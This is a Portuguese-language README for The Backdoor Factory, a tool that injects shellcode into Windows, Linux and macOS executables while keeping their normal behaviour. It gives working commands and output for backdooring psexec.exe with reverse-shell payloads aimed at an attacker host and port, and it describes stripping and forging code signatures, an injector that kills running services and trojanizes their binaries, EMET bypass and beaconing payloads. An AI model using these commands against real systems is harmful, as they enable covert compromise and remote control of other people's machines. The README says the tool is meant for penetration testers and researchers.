secretsquirrel

AVISO: Pull Requests SERÃO IGNORADOS E FECHADOS.

The Backdoor Factory (BDF)

Apenas para profissionais de segurança e pesquisadores.

O objetivo do BDF é corrigir binários executáveis com shellcode desejado pelo usuário e continuar a execução normal do estado anterior à correção.

Black Hat USA 2015:

Vídeo: https://www.youtube.com/watch?v=OuyLzkG16Uk

Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf

Shmoocon 2015:

Vídeo: https://archive.org/details/joshpitts_shmoocon2015

Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf

DerbyCon 2014:

Vídeo: http://www.youtube.com/watch?v=LjUN9MACaTs

DerbyCon 2013:

Vídeo: http://www.youtube.com/watch?v=jXLb2RNX5xs

Demonstração do Módulo de Injeção: http://www.youtube.com/watch?v=04aJAex2o3U

Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory

Contate o desenvolvedor em:

IRC:
irc.freenode.net #BDFactory 

Twitter:
@midnite_runr

Sob uma Licença BSD 3 Cláusulas

Veja o wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki

Instalação

DOCKER

docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py

MÉTODO ANTIGO

Dependências

#####Para usar o OnionDuke você DEVE estar em uma máquina intel porque a aPLib ainda não tem suporte para chipset ARM.

O Capstone engine pode ser instalado a partir do PyPi com:

sudo pip install capstone

Pefile, mais recente:

https://code.google.com/p/pefile/

osslsigncode (incluído no repositório):

http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/

Instalação no Kali:

  apt-get update
  apt-get install backdoor-factory

Instalação em outros *NIX/MAC:

./install.sh

Isso instalará o Capstone com 3.01 pip para instalar o pefile.

ATUALIZAÇÃO:

./update.sh

Suporte a:

Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
e Mach-O x86/x64 e esses formatos em arquivos FAT

Arquivos Empacotados: PE UPX x86/x64

Experimental: OpenBSD x32

Alguns executáveis têm proteções internas, portanto, isso não funcionará em todos os binários. É aconselhável testar os binários alvo antes de implantá-los em clientes ou usá-los em exercícios. Estou perto de contornar o NSIS, portanto, contornar essas verificações será incluído no futuro.

Muitos agradecimentos a Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Sem ele, eu ainda estaria tentando fazer coisas estúpidas 
com o formato elf.
Também agradecimentos a Silvio Cesare por seu artigo de 1998 
(http://vxheaven.org/lib/vsc01.html) no qual essas técnicas de correção
de ELF são baseadas.

Testado recentemente em muitos binários.

./backdoor.py -h Usage: backdoor.py [options]

Funcionalidades:

Arquivos PE

Pode encontrar todos os codecaves em um EXE/DLL.
Por padrão, limpa o ponteiro para a tabela de certificados PE, removendo assim a assinatura de um binário.
Pode injetar shellcode em codecaves ou em uma nova seção.
Pode descobrir se um binário PE precisa ser executado com privilégios elevados.
Ao selecionar codecaves, você pode usar os seguintes comandos:
  -Jump (j), para salto entre codecaves
  -Single (s), para aplicar todo o shellcode em uma única cave
  -Append (a), para criar um codecave
  -Ignore (i ou q), ignorar, desconsiderar este binário
Pode ignorar DLLs
Correção da Tabela de Importação
Correção Automática (-m automatic)
Onionduke (-m onionduke)

Arquivos ELF

Estende 1000 bytes (em bytes) ao SEGMENTO DE TEXTO e injeta shellcode nessa seção de código.

Arquivos Mach-O

Correção na seção Pré-Text e remoção de assinatura

Geral

O usuário pode:
  -Fornecer shellcode personalizado.
  -Corrigir um diretório de executáveis/dlls.
  -Selecionar apenas binários x32 ou x64 para corrigir.
  -Incluir BDF em outros projetos Python, veja pebin.py e elfbin.py

Exemplo de Uso:

Corrigir um exe/dll usando um code cave existente:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp 

[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths:  (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

Corrigir um exe/dll adicionando uma seção de código:

./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a 
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory

Corrigir um diretório de exes:

./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a
...output too long for README...

Shellcode fornecido pelo usuário:

msfpayload windows/exec CMD='calc.exe' R > calc.bin
./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin
Isso abrirá o calc.exe em uma estação de trabalho Windows alvo. Tão 1337. Much pwn. Wow.

Assinatura de Código PE

BDF pode assinar arquivos PE se você tiver um certificado de assinatura de código. Ele usa osslsigncode. Coloque seu certificado de assinatura e chave privada no diretório certs/. Prepare seus certificados usando comandos openssl deste post do blog: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html

Coloque a senha da sua chave privada em um arquivo (suspiro) assim (exatamente assim):

echo -n yourpassword > certs/passFile.txt

Nomeie seus certificados EXATAMENTE como segue:

signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem

Seu diretório certs/ deve ficar exatamente assim:

certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer

Habilite a Assinatura de Código PE com a flag -C assim:

 ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C

Em uma execução bem-sucedida, você deve ver esta linha na saída do BDF:

[*] Code Signing Succeeded

Caçar e backdoor: Injector | Apenas Windows

O módulo injector procurará executáveis alvo para backdoor no disco. Ele verificará se você identificou o alvo como um serviço, verificará se o processo está em execução, matará o processo e/ou serviço, injetará o executável com o shellcode, salvará o arquivo original como file.exe.old ou outro sufixo de escolha, e tentará reiniciar o processo ou serviço.  
Edite o dicionário Python "list_of_targets" no módulo 'injector' para alvos de sua escolha.

./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow

Changelog

####01/11/2016

Corrigido bug de truncamento do ponto de entrada que levava a recuperação inadequada em casos raros

####07/04/2016

Suporte para caminhos dinâmicos no BDFProxy para o preprocessador

####06/19/2016

Adicionado o preprocessador e outras otimizações
O preprocessador permite que o usuário modifique o binário antes da injeção do payload
Invoque com a flag -p
Veja exemplos em ./preprocessor/

####12/20/2015

Adicionados caminhos de diretório ao BDF para encontrar o diretório de certificados.

####12/18/2015

Adicionado suporte para assinatura de código PE. Você deve fornecer seu próprio certificado de assinatura de código. Veja aqui: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning

####11/17/2015

Correção de bug na seção rsrc para correção onionduke e remoção de valor aleatório de versão win32 no cabeçalho PE

####11/13/2015

Adicionado truncamento adequado de um arquivo PE após o ponteiro de assinatura ser limpo no cabeçalho PE - por exemplo, remoção adequada de assinatura. Resultando em melhor suporte para correção IAT

####10/19/2015

Corrigido bug na atribuição de cave do diretório IAT que causava travamento do BDF
Tornado o recurso opcional com a flag -A

####10/13/2015

Alteradas as modificações da Tabela de Importação de adicionar uma nova seção para usar um code cave existente

####08/12/2015

Adicionado PATCH_METHOD 'replace' - uma cópia direta PE do binário fornecido
Mais para uso com BDFProxy

Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe

####08/11/2015

Correção de estabilidade para seleção automática de cave para caves raras de sobreposição

####08/05/2015

ATUALIZAÇÕES BH USA, w00t!
OnionDuke, use -m onionduke * Suporta exe's e dll's fornecidos pelo usuário * Usage: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe
MODO XP = Payloads anteriores baseados em IAT não suportavam XP, Wine ou Windows 98. Se você precisar suportar XP use a flag -X. Não estou suportando nada inferior ao XP (e não XP x64).
Invocar prompt UAC para executar como administrador. experimental - corrige o manifesto PE se requestedExecutionLevel existir.
Atualizações de estabilidade: * Corrigido bug com cálculo incorreto de RVA ao saltar por 2+ code caves * Melhores verificações para determinar se uma nova seção para o IAT escreverá em dados anexados e, portanto, falhará
Melhorias de velocidade: * Descoberta mais rápida de code cave ao usar o modo automático (-m automatic) * Análise mais rápida de rsrc para encontrar o arquivo de manifesto

####5/01/2015

Correção de bug no payload reverse_tcp_stager_threaded ao usar caves únicas

####4/28/2015

Adicionada verificação para importações vinculadas (arquivos PE com importações vinculadas não serão corrigidos)

####4/14/2015

Tantas atualizações:

Correção automática para arquivos PE (use -m automatic com um payload *_threaded)
Novos payloads IAT para arquivos PE x86/x64
Apenas assista: https://www.youtube.com/watch?v=kkLI_ur6BxY

####2/14/2015 Eu amo vocês

Adicionada correção da Tabela de Endereços de Importação para PEs para suportar payloads iat_reverse_tcp que usam a tabela de importação para chamadas winAPI. Se o binário que você está corrigindo não tiver LoadLibraryA e GetProcAddress, por exemplo, o BDF irá corrigi-los em uma nova Tabela de Importação em uma nova seção. Suporta PEs x64/x86.
Adicionado iat_reverse_tcp para PEs x64.
Correções de bugs e melhorias

####1/1/2015

Feliz Ano Novo!

Dois novos payloads OS X! O delay: delay_reverse_shell_tcp

-B 30 --> atrasa o payload por 30 segundos, o código principal é executado imediatamente.

Definição de um commit firme do capstone para construção no BDF, o repositório 'Next' do capstone quebra o BDF.

Correções para suportar o problema de truncamento de byte nulo da implementação cython do capstone

####12/27/2014

Adicionado payloadtests.py

Este script irá gerar arquivos corrigidos em backdoored que permitirão ao usuário testar os payloads como desejar. Cada tipo de payload incrementa a porta usada em um.

Usage: payloadtest.py binary HOST PORT

####12/17/2014

Payloads de Beaconing OS X para x86 e x64: beaconing_reverse_shell_tcp

-B 15 --> define o tempo de beacon para 15 segundos

Correção de bug para suportar OS X no BDFProxy

####10/11/2014

Correção PE UPX Adicionada

####9/26/2014

Mach-O x86/x64 adicionado

Otimização do payload IAT x86

####7/31/2014

Adicionado suporte para correção ELF ARM x32 LE

####7/22/2014

Adicionado suporte para correção ELF FreeBSD x32

Mudança para Licença BSD 3 Cláusulas

####7/13/2014

Incorporado Capstone: http://www.capstone-engine.org/

Durante o processo de adição do Capstone, removi cerca de 500 linhas de código. Isso é incrível.

Renomeado loadliba_reverse_tcp para iat_reverse_tcp.

Pequenas otimizações de velocidade.

####5/30/2014

Adicionado um novo shellcode win86: loadliba_reverse_tcp

Baseado na seguinte pesquisa de Jared DeMott: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Obrigado @bannedit0 por mencionar isso.
Este shellcode usa as APIs LoadLibraryA e GetProcAddress para encontrar todas as APIs necessárias para uma conexão TCP reversa. Não mais a busca de hash de API de Stephen Fewer (que ainda é brilhante).
Não é furtivo. É dependente de posição. Mas os resultados são ótimos (salto entre codecaves): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/
Bypassa EMET 4.1. A proteção do chamador não o detecta.
Como tal, vou avançar essa ideia com um algoritmo que corrige o binário com shellcode personalizado baseado nas APIs que estão no IAT. Incluindo a portabilidade dos shellcodes win86 atuais para essa ideia.

Mais Populares

the-backdoor-factory